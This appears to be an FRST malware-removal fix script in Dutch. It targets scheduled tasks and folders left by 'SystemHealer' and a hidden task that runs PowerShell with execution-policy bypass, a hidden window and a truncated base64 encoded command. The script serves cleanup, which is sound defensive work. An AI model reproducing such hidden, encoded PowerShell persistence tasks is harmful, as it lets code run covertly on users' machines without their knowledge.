start
CreateRestorePoint:
Task: {9F436717-BC7E-4489-BCF4-C522025EBAE0} - System32\Tasks\{090F0947-0D0A-0A0A-0B11-0C7A7A04117A} => C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand OwAgADsAOwA7ADsAOwA7ADsAOwA7ADsAIAA7ACAAOwA7ADsAIAAgACAAOwAgADsAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQA (de data item heeft 10036 mee tekens). <==== AANDACHT
Task: {3F11150E-CAF8-4DAB-B601-5B1838C3949B} - System32\Tasks\SystemHealer Run Delay => C:\Program Files (x86)\SystemHealer\SystemHealer.exe <==== AANDACHT
Task: {A8000E36-22CA-4DCB-A456-061B65AB093A} - System32\Tasks\SystemHealer Task => C:\PROGRA~2\SYSTEM~1\RESCUE~1.EXE <==== AANDACHT
Task: {EFC84305-0003-467F-8CA6-B4ACEC1CA473} - System32\Tasks\SystemHealer Monitor => C:\Program Files (x86)\SystemHealer\HealerConsole.exe <==== AANDACHT
C:\Program Files (x86)\SystemHealer
2017-09-03 14:45 - 2017-09-03 14:45 - 000024554 _____ C:\Windows\System32\Tasks\{090F0947-0D0A-0A0A-0B11-0C7A7A04117A}
2017-09-03 14:45 - 2017-09-03 14:45 - 000003688 _____ C:\Windows\System32\Tasks\SystemHealer Task
2017-09-03 14:45 - 2017-09-03 14:45 - 000003454 _____ C:\Windows\System32\Tasks\SystemHealer Monitor
2017-09-03 14:45 - 2017-09-03 14:45 - 000003448 _____ C:\Windows\System32\Tasks\SystemHealer Run Delay
2017-09-03 14:45 - 2017-09-03 14:45 - 000000000 ____D C:\Users\Gebruiker\AppData\Roaming\System Healer
2017-09-03 14:45 - 2017-09-03 14:45 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer
EmptyTemp:
end